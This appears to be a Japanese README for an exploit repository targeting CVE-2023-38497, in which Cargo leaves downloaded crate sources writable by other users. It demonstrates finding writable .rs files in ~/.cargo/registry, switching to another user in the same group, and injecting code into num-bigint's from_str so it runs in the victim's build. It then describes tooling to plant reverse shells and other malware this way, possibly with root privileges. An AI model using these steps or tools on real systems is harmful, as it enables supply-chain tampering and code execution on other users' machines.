
CVE-2023-38497 の Cargo エクスプロイト
cargoバージョン 1.7.0 に新しい脆弱性が発見されました。こちらで説明されているとおりです。
まず、お使いのcargoバージョンが脆弱であることを確認する必要があります。
cargo --version
次のような src/main.rs ファイルを持つcargoプロジェクトがあるとします:
use num_bigint::BigInt;
use std::str::FromStr;
// Silly guessing game
fn main() {
let secret_number = BigInt::from_str("123456789");
loop {
println!("Make a guess: ");
let mut guess = String::new();
std::io::stdin()
.read_line(&mut guess)
.expect("Error reading stdin");
let guess = BigInt::from_str(guess.trim());
if guess == secret_number {
println!("That's right");
break;
}
}
}
プログラムを実行すると:
cargo run
Make a guess:
20
Make a guess:
123456789
That's right!
ここでは何も問題ありません。
次に、システムにインストールされているすべてのクレートの中から、パーミッションの設定が不適切なもの、つまりグループや他のマシンユーザーが書き込めるものをフィルタリングします。
find ~/.cargo/registry/src/* -type f -writable -print | egrep "*\.rs"
これにより、脆弱なRustソースファイルの一覧が出力されます。この中から、攻撃に適したファイルを選択してください。適したファイルとは、ターゲットのcargoプロジェクトのソースコードで使用されているメソッドが定義されているファイルです。
そして、上記の一覧から、次の脆弱なファイルが見つかりました:
$HOME/.cargo/registry/src/index.crates.io-.../num-bigint-0.1.44/src/bigint.rs
このファイルは、先ほど述べたように、次のパーミッションを持っています: -rw-rw-r--
したがって、このファイルはcargoプロジェクトの所有者と同じグループのユーザーなら誰でも変更できます。これは恐ろしいことです。しかし、あらゆるユーザーがそのファイルに書き込める場合を想像してみてください。実際、そのようなパーミッションを持つクレートも存在します。
次に、マシンに新しいユーザーを追加するか、プロジェクトのユーザー以外で、対象ファイルの所有者と同じグループに属する既存のユーザーを使用します。例えば、私のマシンでは、そのソースファイルの所有者とグループは次のとおりです:
atreides people
また、私が持っている別のユーザーで id コマンドを実行すると、次の結果が返されます:
uid=54322(bob) gid=54331(bob) groups=54331(bob),1000(people)
これで、ユーザー bob が対象ファイルや、そのようなパーミッションを持つ他のファイルに書き込めることが分かりました。bob に切り替えて続行します。
当てっこゲームを見てみると、BigInt 構造体の from_str メソッドが使用されていることが分かります。これは注目すべき興味深いメソッドです。
対象ファイルから、次のコード片を抽出しました:
impl FromStr for BigInt {
type Err = ParseBigIntError;
#[inline]
fn from_str(s: &str) -> Result<BigInt, ParseBigIntError> {
BigInt::from_str_radix(s, 10)
}
}
では、これを次のように変更したらどうなるでしょうか
impl FromStr for BigInt {
type Err = ParseBigIntError;
#[inline]
fn from_str(s: &str) -> Result<BigInt, ParseBigIntError> {
println!("Message from beyond");
BigInt::from_str_radix(s, 10)
}
}
そして、ターゲットディレクトリをクリーンにして再実行します:
cargo clean && cargo run
Make a guess:
20
Message from beyond
Make a guess:
123456789
Message from beyond
That's right!
うわっ!cargoプロジェクトを作成しているときに、次のようなメッセージが表示されることを想像してみてください。
これは、ターゲットディレクトリが事前に削除されている場合にのみ発生することに注意してください。つまり、ソースファイルを変更した後にcargoがクレートをコンパイルする必要がある場合です。
さて、これはこの脆弱性の悪用方法を示すデモに過ぎません。しかし、ソースファイル内に任意のペイロードを配置することを想像してみてください。このリポジトリは、ユーザーがcargoプロジェクトを実行するたびに、そのユーザーのアカウントとのリバースシェル接続を確立することを目的としています。
これは重大な脆弱性です。root権限を持つcargoインストールが存在する可能性を考慮すると、配置されたペイロードがそのような権限で実行されることになるからです。
このプロジェクトには、次のユーティリティが含まれています:
ローカルのcargoアーカイブとターゲットのcargoプロジェクトを横断的に検索し、ターゲットのソースコード内で悪用される可能性のあるすべての特定メソッドを見つけ出します。 特に悪用したいメソッドがある場合、またはターゲットのcargoプロジェクトに対する読み取り権限がない場合は、攻撃パイプラインでvanalyzerをスキップしてください。
./vanalyzer/run.sh <target-project-path> <target-username>
ターゲットのクレートソースコード内に配置できるすべてのペイロードタイプ(主にリバースシェルやその他のマルウェア)。現在利用可能なペイロードは次のとおりです:
脆弱性アナライザーを実行し、上記のペイロードのいずれかと、脆弱性アナライザーで選択された悪用対象メソッドを受け取り、ペイロードをソースコードに統合(コピー&ペースト)するコマンドを受け付けるモックシェルです。
cargo run
vanalyzer <cargo_project> <target_username>
integrate <file_no> <method_no> <payload>
exploit <path_to_local_archive_crate_file> <method's_name> <payload>
ok